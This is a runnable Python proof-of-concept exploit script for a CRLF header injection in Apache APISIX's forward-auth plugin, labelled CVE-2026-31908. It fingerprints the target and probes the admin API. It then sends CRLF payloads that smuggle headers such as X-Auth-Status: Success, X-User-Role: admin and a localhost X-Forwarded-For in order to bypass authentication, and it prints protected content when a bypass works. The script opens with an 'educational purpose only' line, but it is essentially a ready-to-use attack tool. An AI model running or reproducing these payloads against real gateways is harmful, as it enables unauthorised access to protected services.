Apache APISIX forward-auth CRLF Header Injection — CVE-2026-31908

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210

#!/usr/bin/env python3
"""
Apache Header Injection Exploit (CVE-2026-31908) - Proof of Concept
Educational Purpose Only - Use in Isolated Lab Environment
MehranTurk (M.T)
"""

import requests
import sys
import argparse
from urllib.parse import urljoin
import time

class Colors:
    GREEN = '\033[92m'
    RED = '\033[91m'
    YELLOW = '\033[93m'
    BLUE = '\033[94m'
    RESET = '\033[0m'

def print_banner():
    banner = f"""
{Colors.RED}
╔═══════════════════════════════════════════════════════════════╗
║     Apache Header Injection Exploit (CVE-2026-31908)          ║
║           Proof of Concept - MehranTurk (M.T)                 ║
╚═══════════════════════════════════════════════════════════════╝
{Colors.RESET}
    """
    print(banner)

def check_vulnerability(target_url, timeout=5):
   
    print(f"{Colors.BLUE}[*] Scanning target: {target_url}{Colors.RESET}")
    
    try:
        response = requests.get(target_url, timeout=timeout)
        server_header = response.headers.get('Server', '')
        if 'APISIX' in server_header:
            print(f"{Colors.GREEN}[+] APISIX detected!{Colors.RESET}")
            print(f"    Server header: {server_header}")
        else:
            print(f"{Colors.YELLOW}[!] Server header not found or not APISIX{Colors.RESET}")
    except Exception as e:
        print(f"{Colors.RED}[-] Connection failed: {e}{Colors.RESET}")
        return False
    
    admin_endpoints = [
        '/apisix/admin/routes',
        '/apisix/admin/services',
        '/apisix/admin/upstreams'
    ]
    
    for endpoint in admin_endpoints:
        try:
            resp = requests.get(urljoin(target_url, endpoint), timeout=timeout)
            if resp.status_code in [401, 403]:
                print(f"{Colors.GREEN}[+] Admin API detected at {endpoint} (Auth required){Colors.RESET}")
                break
        except:
            pass
    
    return True

def test_header_injection(target_url, protected_path="/protected", timeout=5):

    print(f"\n{Colors.BLUE}[*] Testing header injection vulnerability...{Colors.RESET}")
    
    payloads = [
        {
            "name": "CRLF Injection in Authorization",
            "headers": {
                "Authorization": "test\r\nX-Injected: malicious",
                "User-Agent": "APISIX-Exploit"
            }
        },
        {
            "name": "CRLF Injection in X-Forwarded-For",
            "headers": {
                "X-Forwarded-For": "127.0.0.1\r\nX-Injected: true",
                "User-Agent": "APISIX-Exploit"
            }
        },
        {
            "name": "CRLF Injection in Host",
            "headers": {
                "Host": "evil.com\r\nX-Injected: header",
                "User-Agent": "APISIX-Exploit"
            }
        },
        {
            "name": "Multiple CRLF Injection",
            "headers": {
                "Authorization": "test\r\n\r\nGET /admin HTTP/1.1\r\nHost: evil.com",
                "User-Agent": "APISIX-Exploit"
            }
        }
    ]
    
    vulnerable = False
    
    for payload in payloads:
        full_url = urljoin(target_url, protected_path)
        try:
            response = requests.get(full_url, headers=payload["headers"], timeout=timeout)
            
            if response.status_code in [500, 502, 400]:
                print(f"{Colors.YELLOW}[!] Unusual response {response.status_code} with payload: {payload['name']}{Colors.RESET}")
                vulnerable = True
            else:
                print(f"{Colors.GREEN}[+] Payload '{payload['name']}' sent (response: {response.status_code}){Colors.RESET}")
        except Exception as e:
            print(f"{Colors.RED}[-] Error with payload '{payload['name']}': {e}{Colors.RESET}")
    
    return vulnerable

def exploit_bypass_auth(target_url, protected_path="/protected", timeout=5):
   
    print(f"\n{Colors.BLUE}[*] Attempting authentication bypass...{Colors.RESET}")
    
    exploit_payloads = [
        {
            "name": "Localhost Bypass",
            "headers": {
                "Authorization": "test\r\nX-Forwarded-For: 127.0.0.1",
                "X-Real-IP": "127.0.0.1"
            }
        },
        {
            "name": "Admin Status Injection",
            "headers": {
                "Authorization": "test\r\nX-Auth-Status: Success",
                "X-Admin": "true"
            }
        },
        {
            "name": "Role Privilege Escalation",
            "headers": {
                "Authorization": "test\r\nX-User-Role: admin",
                "X-Privilege": "superuser"
            }
        },
        {
            "name": "Internal Service Access",
            "headers": {
                "Authorization": "test\r\nX-Internal-Request: true",
                "X-Service-Auth": "bypass"
            }
        }
    ]
    
    success = False
    
    for exploit in exploit_payloads:
        full_url = urljoin(target_url, protected_path)
        try:
            response = requests.get(full_url, headers=exploit["headers"], timeout=timeout)
            
            if response.status_code == 200:
                print(f"{Colors.GREEN}[!!!] SUCCESS! Authentication bypassed with: {exploit['name']}{Colors.RESET}")
                print(f"{Colors.GREEN}[+] Response length: {len(response.text)} bytes{Colors.RESET}")
                
                if len(response.text) > 0:
                    print(f"\n{Colors.YELLOW}--- Response Preview ---{Colors.RESET}")
                    print(response.text[:500])
                    print(f"{Colors.YELLOW}------------------------{Colors.RESET}")
                
                success = True
                break
            elif response.status_code == 403:
                print(f"{Colors.YELLOW}[!] Access denied for {exploit['name']} (403){Colors.RESET}")
            else:
                print(f"{Colors.BLUE}[i] Response {response.status_code} for {exploit['name']}{Colors.RESET}")
                
        except Exception as e:
            print(f"{Colors.RED}[-] Exploit error: {e}{Colors.RESET}")
    
    return success

def main():
    parser = argparse.ArgumentParser(description='Apache APISIX Header Injection Exploit (CVE-2026-31908)')
    parser.add_argument('-t', '--target', required=True, help='Target URL (e.g., http://192.168.1.100:9080)')
    parser.add_argument('-p', '--path', default='/protected', help='Protected path to test (default: /protected)')
    parser.add_argument('--timeout', default=5, type=int, help='Request timeout in seconds')
    
    args = parser.parse_args()
    
    print_banner()
    
    target = args.target.rstrip('/')
    
    if not check_vulnerability(target, args.timeout):
        print(f"{Colors.RED}[-] Target does not appear to be APISIX or is unreachable{Colors.RESET}")
        sys.exit(1)
    
    if test_header_injection(target, args.path, args.timeout):
        print(f"{Colors.GREEN}[+] Target appears VULNERABLE to header injection!{Colors.RESET}")
    else:
        print(f"{Colors.YELLOW}[!] No obvious injection signs detected{Colors.RESET}")
    
    if exploit_bypass_auth(target, args.path, args.timeout):
        print(f"\n{Colors.GREEN}{'='*60}{Colors.RESET}")
        print(f"{Colors.GREEN}[✓] EXPLOITATION SUCCESSFUL! Access granted to protected resource.{Colors.RESET}")
        print(f"{Colors.GREEN}{'='*60}{Colors.RESET}")
    else:
        print(f"\n{Colors.RED}[✗] Exploitation failed. Target may be patched or requires different payloads.{Colors.RESET}")
        print(f"{Colors.YELLOW}[!] Try adjusting the protected path or testing different endpoints.{Colors.RESET}")

if __name__ == "__main__":
    main()